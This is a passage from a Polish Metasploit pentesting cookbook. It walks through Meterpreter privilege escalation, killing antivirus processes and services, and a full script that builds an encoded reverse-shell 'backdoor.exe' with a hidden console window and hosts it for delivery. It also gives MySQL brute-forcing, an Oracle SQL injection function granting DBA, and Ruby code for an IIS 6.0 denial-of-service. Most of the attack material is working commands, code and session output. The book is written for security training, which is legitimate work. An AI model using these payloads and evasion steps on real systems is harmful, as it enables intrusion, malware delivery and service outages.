Jak to wykonać Nasłuchiwacz jest gotowy. Po udanym przeprowadzeniu na cel ataku typu client-side uzyskamy otwartą w msfconsole powłokę Meterpretera: [*] Sending stage (752128 bytes) to 192.168.56.1 [*] Meterpreter session 2 opened (192.168.56.101:4444 -> 192.168.56.1:49188) at 2011-11-29 13:26:55 +0530 meterpreter > Możemy teraz spróbować wykorzystać możliwości Meterpretera do wyłączenia programu antywirusowego. Najpierw wykonamy polecenie getuid, które dostarczy
nam nazwę użytkownika systemu, do którego się włamaliśmy. Może to być administrator systemu lub użytkownik z mniejszymi uprawnieniami: meterpreter > getuid Server username: DARKLORD-PC\DARKLORD Nie wygląda na to, że udało nam się uzyskać uprawnienia administratora
w spenetrowanym systemie. Kolejnym krokiem będzie poszerzenie uprawnień do poziomu administratora, abyśmy mogli bez zakłóceń wykonywać polecenia na maszynie docelowej. Zastosujemy komendę getsystem, której zadaniem jest podniesienie poziomu uprawnień z użytkownika lokalnego do administratora: meterpreter > getsystem ...got system (via technique 4).. Jak widzisz, komenda getsystem z powodzeniem zwiększyła poziom uprawnień w spenetrowanym systemie. Wykorzystana została w tym celu technika technique 4, czyli exploit KiTrap0D. Możemy teraz sprawdzić nowy identyfikator użytkownika, wpisując ponownie polecenie getuid: meterpreter > getuid Server username: NT AUTHORITY\SYSTEM Posiadamy teraz uprawnienia użytkownika. Kolejnym krokiem jest wpisanie polecenia ps, które wyświetli listę wszystkich procesów uruchomionych
w systemie. Musimy odnaleźć proces kontrolujący działanie programu antywirusowego na maszynie docelowej (listing został skrócony dla celów przykładu): PID Name --- ---1060 svchost.exe 1096 svchost.exe 1140 stacsv.exe 1152 dsmonitor.exe 1744 egui.exe Antivirus\egui.exe 1832 eset.exe Antivirus\eset.exe
User ---NT AUTHORITY\SYSTEM NT AUTHORITY\SYSTEM NT AUTHORITY\SYSTEM DARKLORD-PC\DARKLORD DARKLORD-PC\DARKLORD
Path ---C:\Windows\System32\. C:\Windows\system32\. C:\Windows\System32\. C:\Program Files\Uni. C:\Program Files\ESET\ESET NOD32
NT AUTHORITY\SYSTEM
C:\Program Files\ESET\ESET NOD32
115
Metasploit. Receptury pentestera
Na podstawie kolumn Name (nazwa) i Path (ścieżka) możemy łatwo zidentyfikować
proces należący do instancji programu antywirusowego. W naszym przykładzie mamy dwa procesy odpowiedzialne za ochronę antywirusową w systemie docelowym. Są to egui.exe oraz eset.exe. Zobaczmy, jak możemy wykorzystać Metasploit do wyłączenia tych procesów.
Jak to działa Meterpreter dostarcza bardzo użyteczny skrypt o nazwie killav.rb, który może być wykorzystany do wyłączenia procesów programu antywirusowego uruchomionych w systemie docelowym. Wypróbujmy ten skrypt na maszynie docelowej Windows 7 z uruchomionym programem antywirusowym ESET NOD32: meterpreter > run killav [*] Killing Antivirus services on the target....
W Meterpreterze do wykonywania skryptów Ruby wykorzystywane jest polecenie run. Po wykonaniu danego skryptu możemy ponownie sprawdzić procesy uruchomione na maszynie docelowej, aby upewnić się, że wszystkie procesy ochrony antywirusowej zostały wyłączone. Jeśli żaden z tych procesów nie jest już uruchomiony, oznacza to, że na maszynie docelowej tymczasowo wyłączona została ochrona antywirusowa i możemy kontynuować proces przeprowadzania testu penetracyjnego. Co jednak zrobić, kiedy proces jest nadal uruchomiony? Rozwiązanie znajdziesz w kolejnej recepturze.
Wyłączanie usług programów antywirusowych z poziomu wiersza poleceń Poprzednia receptura wskazała dwa powody, dla których procesy ochrony antywirusowej mogą wciąż działać, nawet po zastosowaniu skryptu killav.rb. Pierwszym z nich jest sytuacja, kiedy lista skryptu killav.rb nie zawiera procesu, który ma zostać wyłączony. W tej recepturze zajmiemy się drugą kwestią — program antywirusowy w systemie docelowym jest uruchomiony jako usługa. Zanim przejdziemy dalej, wyjaśnijmy różnicę pomiędzy procesem a usługą. Procesem jest każdy element oprogramowania uruchomionego na komputerze. Niektóre procesy są uruchamiane podczas bootowania komputera, inne są uruchamiane ręcznie w razie potrzeby. Niektóre procesy są usługami publikującymi metody umożliwiające uzyskanie do nich dostępu, aby inne programy mogły je w razie konieczności wywołać. Proces jest zależny od użytkownika, podczas gdy usługi są kontrolowane przez system.
116
Rozdział 4. • Eksploatacja typu client-side oraz omijanie ochrony antywirusowej
Program antywirusowy może również uruchamiać niektóre komponenty jako usługi. Mogą to być filtry poczty elektronicznej, filtry dostępu do sieci WWW itd. Skrypt killav.rb nie może wyłączać usług. Dlatego, nawet jeśli wyłączysz procesy za pomocą tego skryptu, usługa programu antywirusowego natychmiast uruchomi je ponownie. Jeśli skrypt killav.rb wyłącza wszystkie procesy ochrony antywirusowej, a one nadal pojawiają się na liście za każdym razem, gdy stosujesz polecenie ps, można przyjąć, że niektóre komponenty ochrony działają jako usługa, która jest odpowiedzialna za restartowanie tych procesów.
Przygotuj się Zajmiemy się scenariuszem, w którym maszyną docelową jest system Windows 7 z uruchomionym programem antywirusowym AVG 10. Przyjmijmy, że mamy już na maszynie docelowej aktywną sesję Meterpretera z uprawnieniami administratora.
Jak to wykonać W tej recepturze skorzystamy z wiersza poleceń systemu Windows. Otwórzmy
więc powłokę wiersza poleceń na maszynie docelowej: meterpreter > shell Process 3324 created. Channel 1 created. C:\WINDOWS\system32> Teraz użyjemy komendy tasklist, aby sprawdzić uruchomione zadania. Dodanie parametru /SVC spowoduje wyświetlenie tylko tych procesów, które działają
jako usługa. Jak wiemy, na maszynie docelowej zainstalowany jest program antywirusowy AVG, więc możemy zawęzić wyszukiwanie jedynie do usług należących do tej aplikacji. Polecenie będzie wyglądać następująco: C:\WINDOWS\system32>tasklist /SVC | find /I "avg" avgchsvx.exe 260 N/A avgrsx.exe 264 N/A avgcsrvx.exe 616 N/A AVGIDSAgent.exe 1664 AVGIDSAgent avgwdsvc.exe 116 avg9wd avgemc.exe 1728 avg9emc.
Teraz mamy całą listę usług i procesów związanych z programem AVG. Możemy zastosować komendę taskkill, aby zakończyć te zadania i wyłączyć ochronę antywirusową. Ponownie za pomocą znaku wieloznaczności możemy zawęzić działanie polecenia do procesów, które posiadają w nazwie avg: C:\WINDOWS\system32>taskkill /F /IM "avg*"
117
Metasploit. Receptury pentestera
Parametr /F został zastosowany w celu wymuszenia zamknięcia procesów. Doprowadzi to do wyłączenia usług ochrony antywirusowej uruchomionych na maszynie docelowej. Ta receptura posiada jeszcze wiele obszarów do zbadania. Być może napotkasz pewne problemy, ale możesz sobie z nimi poradzić, stosując odpowiednie zestawy poleceń.
Jak to działa Wyłączanie usług za pomocą wiersza poleceń polega po prostu na generowaniu wywołań do systemu operacyjnego, który wyłącza konkretną usługę. Kiedy posiadamy aktywną sesję powłoki na maszynie docelowej, możemy generować te wywołania wiersza poleceń, wykorzystując do tego celu powłokę.
Zobacz również Podsumujmy tę recepturę końcowymi uwagami dotyczącymi sytuacji, w której usługa programu antywirusowego jest nadal uruchomiona.
Niektóre usługi nie zostały wyłączone — co dalej? Taka sytuacja może być spowodowana kilkoma czynnikami. W przypadku niektórych usług możesz otrzymać błąd podczas próby zastosowania polecenia taskkill. Możesz sobie wtedy poradzić, korzystając z poleceń net stop oraz sc config. Powinieneś poczytać o tych poleceniach i ich zastosowaniu na stronie firmy Microsoft. Są one pomocne w wyłączaniu nawet tych usług, dla których nie zadziałało polecenie taskkill.
Korzystanie z narzędzia strzykawki Narzędzie strzykawki otwiera lokalizację w swojej przestrzeni adresowej za pomocą wywołania funkcji VirtualAlloc z uprawnieniami do odczytu, zapisu i wykonywania (777). Funkcja VirtualAlloc jest charakterystycznym dla systemów Windows wywołaniem, które rezerwuje obszar pamięci z tymczasowymi uprawnieniami. Uprawnienia do odczytu i zapisu są niezbędne, ponieważ alfanumeryczny kod powłoki będzie zmieniał się w trakcie wykonywania. Następnie narzędzie strzykawki kopiuje dostarczony przez użytkownika ciąg znaków kodu powłoki do bufora pamięci powstałego po wywołaniu funkcji VirtualAlloc. Na koniec strzykawka wykonuje kod powłoki oraz stub biblioteki typu assembly, który przed wywołaniem kodu powłoki przenosi do niej wskaźnik jako jedyny parametr. Jedną z najlepszych cech tego narzędzia jest to, że obiekt pośredniczący wykorzystywany do wykonania kodu powłoki jest zawijany w blok SEH (ang. Structured Exception Handler), co pozwala na płynne wykonanie programu. Jest to bardzo pomocne podczas przeprowadzania testów penetracyjnych charakteryzującego się dobrymi zabezpieczeniami systemu Windows 8, tak jak zostało to opisane wcześniej.
118
Rozdział 4. • Eksploatacja typu client-side oraz omijanie ochrony antywirusowej
Przygotuj się Będziemy potrzebować maszyny atakującej z systemem BackTrack 5 R3, maszyny atakowanej z systemem Windows 8 oraz pliku syringe.exe pobranego ze strony https://code.google.com/p/ syringe-antivirus-bypass/downloads/list.
Jak to wykonać Najpierw musimy utworzyć kod powłoki o nazwie syringe.sh i umieścić w nim poniższy kod: export interface=eth0export ourIP=$(ifconfig $interface | awk '/inet addr/ {split ($2,A,":"); print A[2]}')export port=$(shuf -i 2000-65000 -n 1) echo -e "\e[01;32m[>]\e[00m Generating payload..."payload=$(msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=$port LHOST=$ourIP R | msfencode -a x86 –e x86/alpha_mixed -t raw BufferRegister=EAX) echo -e "\e[01;32m[>]\e[00m Creating .exe..." tar -xvf syringe_files.tar echo "syringe.exe -3 $payload" > s.bat echo ";!@Install@!UTF-8!" > config.txt echo "GUIMode=\"2\"" >> config.txt echo "RunProgram=\"hidcon:s.bat\"" >> config.txt echo ";!@InstallEnd@!" >> config.txt 7z a files.7z s.bat syringe.exe cat 7zsd.sfx config.txt files.7z> backdoor.exe cp backdoor.exe /var/www/ rm config.txt s.bat files.7z 7zsd.sfx syringe.exe echo -e "\e[01;32m[>]\e[00m Starting Web server..." service apache2 start echo -e "\e[01;32m[>]\e[00m Backdoor is hosted on http://$ourIP/backdoor.exe"
Uruchommy ten kod powłoki za pomocą poniższego polecenia: root@bt:/# ./ syringe.sh
Dane wynikowe będą następujące: root@bt:~# cd Desktop root@bt:~/Desktop# ./syringe.sh [>] Genrating payload... [*] x86/alpha_mixed succeeded with size 634 (iteration=1) [>] Creating EXE... 7zsd.sfx syringe.exe 7-Zip 9.04 beta Copyright (c) 1999-2009 Igor Pavlov 2009-05-30 p7zip Version 9.04 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,1 CPU) Scanning Creating archive files.7z Compressing s.bat
119
Metasploit. Receptury pentestera
Compressing syringe.exe Everything is Ok [>] Starting Web server... * Starting web server apache2 [ OK ] [>] Backdoor is hosted on http://192.168.129.128/backdoor.exe [>] Running metasploit... [*] Please wait while we load the module tree... METASPLOIT CYBER MISSILE COMMAND V4 PAYLOAD => windows/meterpreter/reverse_tcp LHOST => 192.168.129.128 LPORT => 55681 [*] Started reverse handler on 192.168.129.128:55681 [*] Starting the payload handler... [*] Sending stage (752128 bytes) to 192.168.129.140 [*] Meterpreter session 1 opened (192.168.129.128:55681 -> 192.168.129.140:49157) at 2013-06-07 20:36:18 +0530 meterpreter >
Jak to działa Osadziliśmy właśnie w pliku powłoki kod dla exploita i ładunku wraz z kodowaniem msf w samym pliku powłoki. Następnie stworzyliśmy archiwum sfx za pomocą programu 7zip (wbudowana funkcja w systemie BackTrack 5 R3), załączając takie pliki jak syringe.exe oraz s.bat. Wraz z tym ostatnim plikiem użyliśmy skryptu VB (ang. Visual Basic), aby ukryć okno polecenia podczas uruchamiania pliku wsadowego. Teraz jesteśmy gotowi, aby uruchomić kod powłoki omówiony wcześniej w punkcie „Jak to wykonać”. Podczas wykonywania kodu powłoki syringe.sh utworzony zostaje plik o nazwie backdoor.exe. Naszym kolejnym zadaniem jest załadowanie tego pliku na maszynę docelową z systemem Windows 8 za pośrednictwem internetu, załącznika poczty e-mail lub ręcznie. Kiedy dany plik .exe zostanie otwarty na maszynie docelowej, otrzymamy połączenie odwrócone z maszyną docelową. Wszystko zostało już skonfigurowane i możemy przejść dalej.
120
5 Praca z modułami podczas testów penetracyjnych W tym rozdziale: Praca z modułami pomocniczymi skanera Praca z administracyjnymi modułami pomocniczymi Moduły wstrzyknięcia zapytania SQL oraz ataku DoS Moduły fazy poeksploatacyjnej Podstawy budowy modułu Analiza gotowego modułu Budowanie własnego modułu fazy poeksploatacyjnej
Wprowadzenie W pierwszym rozdziale omówiliśmy podstawy frameworku Metasploit i stwierdziliśmy, że ma architekturę modułową. Oznacza to, że wszystkie exploity, ładunki, kodery oraz inne jego komponenty mają postać modułów. Modułowa architektura ułatwia rozszerzanie funkcjonalności frameworku. Każdy programista może opracować swój własny moduł i zaimportować go do frameworku. Pełny proces testów penetracyjnych może wymagać uruchomienia kilku modułów. Kiedy rozpoczynamy np. fazę eksploatacji, używamy modułu ładunku, a gdy już złamiemy zabezpieczenia maszyny docelowej, możemy skorzystać z kilku modułów poeksploatacyjnych.
Metasploit. Receptury pentestera
Różne moduły znajdą także zastosowanie przy łączeniu się z bazą danych oraz zapisywaniu w niej wyników przeprowadzanych testów. Mimo że moduły nie są omawiane zbyt szeroko podczas pracy z frameworkiem Metasploit, to stanowią jego istotę, więc powinieneś dobrze poznać sposób ich funkcjonowania. W tym rozdziale skoncentrujemy się na folderze opt/metasploit/msf3/modules, zawierającym pełną listę użytecznych modułów, które mogą ułatwić zadanie przeprowadzania testów penetracyjnych. Stosowanie modułów jest bardzo podobne do tego, co omawialiśmy do tej pory, ale istnieje pewna różnica w ich funkcjonalności. W dalszej części rozdziału przeanalizujemy też niektóre z istniejących modułów, a na koniec zajmiemy się tworzeniem własnych modułów dla frameworku Metasploit. Rozpocznijmy eksperymenty z modułami.
Praca z modułami pomocniczymi skanera Zacznijmy eksperymentowanie od zapoznania się z modułami skanera. Poznaliśmy szczegółowo proces skanowania, stosując narzędzie nmap. W tej recepturze przeanalizujemy niektóre z gotowych modułów skanujących, które są dostarczane wraz z frameworkiem Metasploit. Choć nmap jest wszechstronnym narzędziem skanującym, może się zdarzyć, że będziemy musieli wykonać skanowanie konkretnego typu, takie jak skanowanie pod kątem obecności bazy danych MySQL. Metasploit dostarcza pełną listę takich użytecznych skanerów. Spróbujmy zastosować je w praktyce.
Przygotuj się Listę dostępnych skanerów znajdziesz w folderze /opt/metasploit/msf3/modules/auxiliary/scanner. Ta lista obejmuje ponad 35 różnych modułów skanowania, które mogą być stosowane w różnych scenariuszach testów penetracyjnych.
Jak to wykonać Nauczmy się krok po kroku, jak pracować z pomocniczymi modułami skanerów. Zaczniemy od podstawowego skanera HTTP. Przekonasz się, że jest dostępnych wiele różnych opcji skanowania HTTP. Poniżej omówimy kilka z nich: Przyjrzyjmy się skryptowi dir_scanner. Przeprowadza on skanowanie pojedynczego hosta lub całego zakresu sieci w poszukiwaniu interesujących list folderów, które mogą zostać poddane dalszemu badaniu, by zebrać informacje o celu.
122
Rozdział 5. • Praca z modułami podczas testów penetracyjnych
Aby rozpocząć korzystanie z modułu pomocniczego, musimy wpisać w konsoli msfconsole następujące polecenia: msf > use auxiliary/scanner/http/dir_scanner msf auxiliary(dir_scanner) > show options
Polecenie show options wyświetli listę wszystkich dostępnych opcjonalnych parametrów, które można zastosować dla modułu skanera. Najważniejszym z nich jest parametr RHOSTS, który pozwala wskazać pojedynczą maszynę lub grupę komputerów w danej sieci.
Jak to działa Omówmy konkretny moduł skanera wraz z dodatkowymi danymi wejściowymi. Moduł skanera mysql_login jest modułem ataków siłowych (ang. brute force), który skanuje dostępność serwera MySQL na maszynie docelowej i próbuje zalogować się do bazy danych poprzez atak metodą brute force w sposób następujący: msf > use auxiliary/scanner/mysql/mysql_login msf auxiliary(mysql_login) > show options Module options (auxiliary/scanner/mysql/mysql_login): Name Current Setting Required Description ------------------ -------- ----------BLANK_PASSWORDS true yes Try blank pas... BRUTEFORCE_SPEED 5 yes How fast to... PASSWORD no A specific password... PASS_FILE no File containing... RHOSTS yes The target address... RPORT 3306 yes The target port... STOP_ON_SUCCESS false yes Stop guessing... THREADS 1 yes The number of... USERNAME no A specific user... USERPASS_FILE no File containing... USER_FILE no File containing... VERBOSE true yes Whether to print...
Jak widzisz, istnieje wiele różnych parametrów, które możemy ustawić dla tego modułu. Im lepiej wykorzystamy możliwości modułu, tym większe są szanse na przeprowadzenie udanych testów penetracyjnych. Możemy dostarczyć pełną listę nazw użytkowników oraz haseł, które moduł może wykorzystać do próby zalogowania się na maszynie docelowej. Dostarczmy te informacje do modułu: msf auxiliary(mysql_login) > set USER_FILE /nazwy_uzytkownikow.txt USER_FILE => /nazwy_uzytkownikow.txt msf auxiliary(mysql_login) > set PASS_FILE /hasla.txt PASS_FILE => /hasla.txt
123
Metasploit. Receptury pentestera
Jesteśmy gotowi, aby zastosować metodę ataku siłowego. Ostatnim krokiem jest wybranie celu i wykonanie polecenia run, aby uruchomić moduł: msf auxiliary(mysql_login) > set RHOSTS 192.168.56.101 RHOSTS => 192.168.56.101 msf auxiliary(mysql_login) > run [*] 192.168.56.101:3306 - Found remote MySQL version 5.0.51a [*] 192.168.56.101:3306 Trying username:'administrator' with password:''
Jak widać w powyższym listingu, moduł rozpoczął swoje działanie od próby znalezienia serwera MySQL na maszynie docelowej. Po stwierdzeniu obecności tego serwera moduł przeprowadza sprawdzanie kombinacji nazw użytkownika oraz haseł dostarczonych w pliku zewnętrznym. Przeprowadzana w tym scenariuszu operacja jest również jedną z najczęściej wykonywanych w Metasploit czynności z wykorzystaniem modułów. Dostępnych jest wiele zautomatyzowanych modułów ataków siłowych, które służą do łamania słabych haseł.
Zobacz również Omówmy szybki i prosty sposób generowania plików haseł za pomocą frameworku Metasploit. Pokaźna lista haseł może być pomocna podczas testów penetracyjnych metodą brute force.
Generowanie haseł za pomocą narzędzia Crunch Przy każdym ataku siłowym konieczne jest posiadanie obszernej listy haseł, które wykorzystamy do prób logowania. Listy haseł można pobrać z zasobów internetowych. Pentester może też wygenerować listę haseł za pomocą narzędzia John the Ripper lub skorzystać z wbudowanego w system BackTrack narzędzia crunch, aby utworzyć taką listę na podstawie wskazanego zestawu znaków. Narzędzie crunch znajduje się w folderze /pentest/passwords/crunch. Jeśli go nie ma w Twojej wersji systemu BackTrack, możesz je zainstalować, wprowadzając w oknie terminala następujące polecenie: root@bt: cd /pentest/passwords root@bt:/pentest/passwords# apt-get install crunch
Przykładowa składnia narzędzia crunch jest następująca: ./crunch
Poniżej opisano znaczenie niektórych użytecznych parametrów narzędzia crunch: Parametr dł_min określa początkową minimalną długość ciągu znaków. Parametr dł_maks określa końcową maksymalną długość ciągu znaków. Parametr nazwa_zestawu_znaków określa predefiniowany zestaw znaków,
który ma być wykorzystany do wygenerowania listy haseł.
124
Rozdział 5. • Praca z modułami podczas testów penetracyjnych
Parametr -b: liczba[kb/mb/gb] określa rozmiar pliku wyjściowego w wybranej
jednostce (MB, KB lub GB). Parametr -f
wyjściowe. Parametr -t [niezmienny_ciąg_znaków]<@,%^> służy do dodawania w wygenerowanym haśle niezmieniającego się ciągu znaków oraz dodatkowych, występujących w dowolnej liczbie, losowych, pojedynczych znaków o ustalonym formacie, którego poszczególne opcje oznaczają: @ — małe litery, , — wielkie litery, % — liczby, ^ — symbole. Przykładowo, wygenerowane hasło z opcją -t @@@helion@@@ może wyglądać następująco bgrhelionoip. Pełną dokumentację narzędzia crunch można znaleźć na stronie http://sourceforge.net/projects/ crunch-wordlist/files/crunchwordlist/. Możesz przejść do pełnej dokumentacji, aby dowiedzieć się, w jaki sposób korzystać z tego narzędzia do generowania listy długich i skomplikowanych haseł.
Inne zasoby Możemy również zastosować listy haseł pozyskane w wyniku przeprowadzonych przez osoby trzecie ataków na różne serwisy internetowe. Cenny zasób takich haseł znajdziesz na stronie http://www.skullsecurity.org/wiki/index.php/Passwords. Listy haseł w systemie BackTrack zlokalizowane są w folderze /pentest/passwords/wordlists. W systemie Kali Linux ten zasób znajduje się w katalogu /usr/share/wordlists.
Praca z administracyjnymi modułami pomocniczymi Kontynuując eksperymenty z modułami, przejdźmy do modułów administracyjnych, które mogą być bardzo przydatne podczas testów penetracyjnych. Moduły administracyjne, w zależności od ich funkcjonalności, mogą służyć do różnych celów, takich jak poszukiwanie panelu administracyjnego, loginu administratora itd. W tej recepturze przyjrzymy się prostemu administracyjnemu modułowi pomocniczemu o nazwie mysql_enum.
125
Metasploit. Receptury pentestera
Przygotuj się Moduł mysql_enum jest specjalnym modułem narzędziowym dla serwerów baz danych MySQL. Zapewnia prostą enumerację serwera baz danych MySQL, przy założeniu że odpowiednie poświadczenia użytkownika są przyznane dla połączenia zdalnego. Zobaczmy, jak to działa w praktyce.
Jak to wykonać Poniższe kroki określają sposób pracy z administracyjnym modułem pomocniczym: Zaczniemy od uruchomienia interfejsu konsoli msfconsole i wprowadzenia ścieżki dostępu do modułu pomocniczego: msf > use auxiliary/admin/mysql/mysql_enum msf auxiliary(mysql_enum) > show options Module options (auxiliary/admin/mysql/mysql_enum): Name Current Setting Required Description ------------------------- ----------PASSWORD no The password for the... RHOST yes The target address RPORT 3306 yes The target port USERNAME no The username to... Jak widać, moduł pozwala na zdefiniowanie takich parametrów jak PASSWORD (hasło), USERNAME (nazwa użytkownika) oraz RHOST (adres zdalnego hosta). Może
to być pomocne przy pierwszym wyszukiwaniu potencjalnej bazy danych MySQL oraz podczas próby zdalnego logowania za pomocą podanych poświadczeń. Przeanalizujmy dane wyjściowe wyświetlone po wykonaniu komendy exploit: msf [*] [*] [*] [*] [*] [*] [*] [*] [*]
auxiliary(mysql_enum) > exploit Configuration Parameters: C2 Audit Mode is Not Enabled xp_cmdshell is Enabled remote access is Enabled allow updates is Not Enabled Database Mail XPs is Not Enabled Ole Automation Procedures are Not Enabled Databases on the server: Database name:master
Moduł odpowiada dużą ilością przydatnych informacji. Informuje nas o tym, że powłoka cmdshell oraz zdalny dostęp zostały włączone w konfiguracji MySQL na maszynie docelowej. Zwraca również informację o nazwie bazy danych, która jest aktualnie uruchomiona na maszynie docelowej.
126
Rozdział 5. • Praca z modułami podczas testów penetracyjnych
Istnieje kilka podobnych modułów przeznaczonych dla innych usług, takich jak MSSQL i Apache. Dla większości modułów sposób działania jest zbliżony. Pamiętaj, aby użyć polecenia show options w celu sprawdzenia, które parametry są wymagane.
Jak to działa Administracyjne moduły pomocnicze wykorzystują prosty proces enumeracji, uruchamiając połączenie, a następnie wypróbowując różne kombinacje nazw użytkownika i haseł. Za pomocą tych modułów można również sprawdzić, czy serwer bazy danych umożliwia anonimowe logowanie. Ponadto można wykonać próbę logowania dla domyślnych poświadczeń. Dla serwera MySQL domyślne poświadczenia to nazwa użytkownika scott oraz hasło tiger.
Moduły wstrzyknięcia zapytania SQL oraz ataku DoS Framework Metasploit jest przyjazny zarówno dla pentesterów, jak i hakerów. Jest tak dlatego, że pentester musi myśleć z perspektywy hakera, aby zabezpieczyć swoją sieć, usługi, aplikacje itd. Moduły wstrzyknięcia zapytania SQL (ang. SQL injection — SQLi) oraz ataków typu DoS (ang. Denial of Service) pomagają pentesterom w atakowaniu własnych usług w celu sprawdzenia, czy są one podatne na takie ataki. Warto więc szczegółowo omówić niektóre z tych modułów.
Przygotuj się Moduł wstrzyknięcia SQL wykorzystuje znaną lukę w zabezpieczeniach określonego typu bazy danych, umożliwiając jej eksploatację i zapewniając nieautoryzowany dostęp. Wiadomo, że ta luka dotyczy baz danych Oracle 9i oraz 10g. Metasploit zawiera kilka modułów, które wykorzystują znany exploit baz danych Oracle w celu złamania ich zabezpieczeń poprzez wstrzyknięcie zapytania. Moduły można znaleźć w folderze modules/auxiliary/sqli/oracle.
Jak to wykonać Przeanalizujmy lukę w zabezpieczeniach, która nosi nazwę Oracle DBMS_METADATA XML: Ta luka zwiększa uprawnienia użytkownika DB_USER do poziomu administratora bazy danych DB_ADMINISTRATOR. Wykorzystamy moduł dbms_metadata_get_xml: msf auxiliary(dbms_metadata_get_xml) > show options Module options (auxiliary/sqli/oracle/dbms_metadata_get_xml): Name Current Setting Required Description ------------------------- -----------
127
Metasploit. Receptury pentestera
DBPASS DBUSER RHOST RPORT SID SQL
TIGER SCOTT 1521 ORCL GRANT DBA to SCOTT
yes yes yes yes yes no
The The The The The SQL
password to... username to... Oracle host. TNS port. sid to authenticate. to execute.
Moduł wymaga określenia podobnych parametrów, jakie stosowaliśmy do tej pory.
Najpierw wykonywana jest próba zalogowania się za pomocą domyślnych poświadczeń, czyli odpowiednio nazwy użytkownika scott oraz hasła tiger. Gdy moduł uzyskuje status zalogowania jako użytkownik bazy danych, wykonuje exploit w celu zwiększenia uprawnień do poziomu administratora bazy danych. Uruchommy moduł w celu przetestowania maszyny docelowej: msf auxiliary(dbms_metadata_get_xml) > set RHOST 192.168.56.1 msf auxiliary(dbms_metadata_get_xml) > set SQL YES msf auxiliary(dbms_metadata_get_xml) > run Po pomyślnym wykonaniu modułu uprawnienia użytkownika zostaną zwiększone z DB_USER do DB_ADMINISTRATOR.
Kolejnym modułem, który omówimy, jest moduł związany z atakami typu DoS (ang. Denial of Service). Przeanalizujemy prostą lukę w zabezpieczeniach usług IIS (ang. Internet Information Services) w wersji 6.0, która umożliwia atakującemu doprowadzenie do awarii serwera przez wysłanie żądania POST, zawierającego ponad 40000 parametrów żądania. Zajmijmy się tą luką pokrótce. Moduł został przetestowany na serwerze z niezaktualizowaną wersją systemu Windows 2003 z uruchomionymi usługami IIS w wersji 6.0. Modułu ms10_065_ii6_asp_dos użyjemy w sposób następujący: msf > use auxiliary/dos/windows/http/ms10_065_ii6_asp_dos msf auxiliary(ms10_065_ii6_asp_dos) > show options Module options (auxiliary/dos/windows/http/ms10_065_ii6_asp_dos): Name Current Setting Required Description ------------------------- ----------RHOST yes The target address RPORT 80 yes The target port URI /page.asp yes URI to request VHOST no The virtual host name to... msf auxiliary(ms10_065_ii6_asp_dos) > set RHOST 192.168.56.1 RHOST => 192.168.56.1 msf auxiliary(ms10_065_ii6_asp_dos) > run [*] Attacking http://192.168.56.1:80/page.asp Gdy moduł zostanie uruchomiony za pomocą polecenia run, zaczyna atakować docelowy serwer IIS poprzez wysłanie żądania HTTP na porcie 80 z adresem URL do strony page.asp. Pomyślne wykonanie modułu doprowadzi do całkowitej
odmowy usługi (DoS) na serwerze IIS. 128
Rozdział 5. • Praca z modułami podczas testów penetracyjnych
Jak to działa Rzućmy okiem na dwie luki w zabezpieczeniach. Luka bazy danych firmy Oracle jest eksploatowana za pomocą wstrzykiwania niestandardowej funkcji PL/SQL, która jest wykonywana w kontekście SYS i zwiększa uprawnienia użytkownika scott do uprawnień administratora. Rozważmy tę przykładową funkcję: CREATE OR REPLACE FUNCTION "SCOTT"."ATTACK_FUNC" return varchar2 authid current_user as pragma autonomous_transaction; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT'; COMMIT; RETURN ''; END; /
Wstrzykiwanie tej funkcji w podatnej na ataki procedurze doprowadzi do zwiększenia uprawnień dla użytkownika scott: SELECT SYS.DBMS_METADATA.GET_DDL('''||SCOTT.ATTACK_FUNC()||''','') FROM dual;
Powyższy wiersz kodu wyjaśnia proces wstrzyknięcia. Szczegółowa analiza luki w zabezpieczeniach oprogramowania firmy Oracle wykracza poza zakres tej książki. Przejdźmy do modułu ataków DoS, który wykorzystuje lukę w zabezpieczeniach serwera IIS w wersji 6.0. Atakujący wysyła żądanie POST, które zawiera ponad 40000 parametrów żądania. Żądanie ma postać kodowania typu application/x-www-form-urlencoded. Oto część skryptu, która obsługuje ten moduł: while(1) begin connect payload = "C=A&" * 40000 length = payload.size sploit = "HEAD #{datastore['URI']} HTTP/1.1\r\n" sploit << "Host: #{datastore['VHOST'] || rhost}\r\n" sploit << "Connection:Close\r\n" sploit << "Content-Type: application/x-www-formurlencoded\r\n" sploit << "Content-Length:#{length} \r\n\r\n" sploit << payload sock.put(sploit) #print_status("DoS packet sent.") disconnect rescue Errno::ECONNRESET next end end
129
Metasploit. Receptury pentestera
Jak widać powyżej, skrypt generuje ładunek o rozmiarze większym niż 40000. Następnie nawiązywane jest połączenie na porcie 80 w celu wysłania żądania HTTP do serwera IIS. Po przetworzeniu żądania przez serwer nastąpi awaria i zatrzymanie pracy do momentu ponownego uruchomienia serwera.
Moduły fazy poeksploatacyjnej Dotychczas omawialiśmy głównie działania fazy poeksploatacyjnej przeprowadzane za pomocą różnych funkcji Meterpretera. Mamy też jednak do dyspozycji osobną dedykowaną listę modułów, które mogą poszerzyć doświadczenie wykonywania testów penetracyjnych. Ponieważ są to moduły fazy poeksploatacyjnej, będziemy potrzebowali aktywnej sesji na maszynie docelowej. W tej recepturze postaramy się uzyskać dostęp do celu.
Przygotuj się Moduł fazy poeksploatacyjnej to zbiór jednych z najbardziej interesujących i przydatnych funkcji, które można wykorzystać podczas testów penetracyjnych. Przeanalizujmy szybko niektóre z nich. Użyjemy jako maszyny docelowej niezaktualizowanego systemu Windows 7 z aktywną sesją Meterpretera.
Jak to wykonać Przejdźmy do fazy poeksploatacyjnej, w której wykonamy następujące czynności: 1. Moduły fazy poeksploatacyjnej znajdują się w folderze modules/post/windows/gather. Zacznijmy od prostego modułu enum_logged_on_users, który wyświetli listę aktualnie zalogowanych użytkowników na maszynie z systemem Windows. Uruchomimy ten moduł poprzez aktywną sesję Meterpretera. Pamiętaj również, aby zwiększyć uprawnienia użytkownika za pomocą polecenia getsystem w celu uniknięcia jakichkolwiek błędów w trakcie uruchamiania modułu: meterpreter > getsystem ...got system (via technique 4). meterpreter > run post/windows/gather/enum_logged_on_users [*] Running against session 1 Current Logged Users ==================== SID User -----S-1-5-21-2350281388-457184790-407941598 DARKLORD-PC\DARKLORD Recently Logged Users ===================== SID Profile Path
130
Rozdział 5. • Praca z modułami podczas testów penetracyjnych
--S-1-5-18 S-1-5-19 S-1-5-20 S-1-5-21-23502 S-1-5-21-235
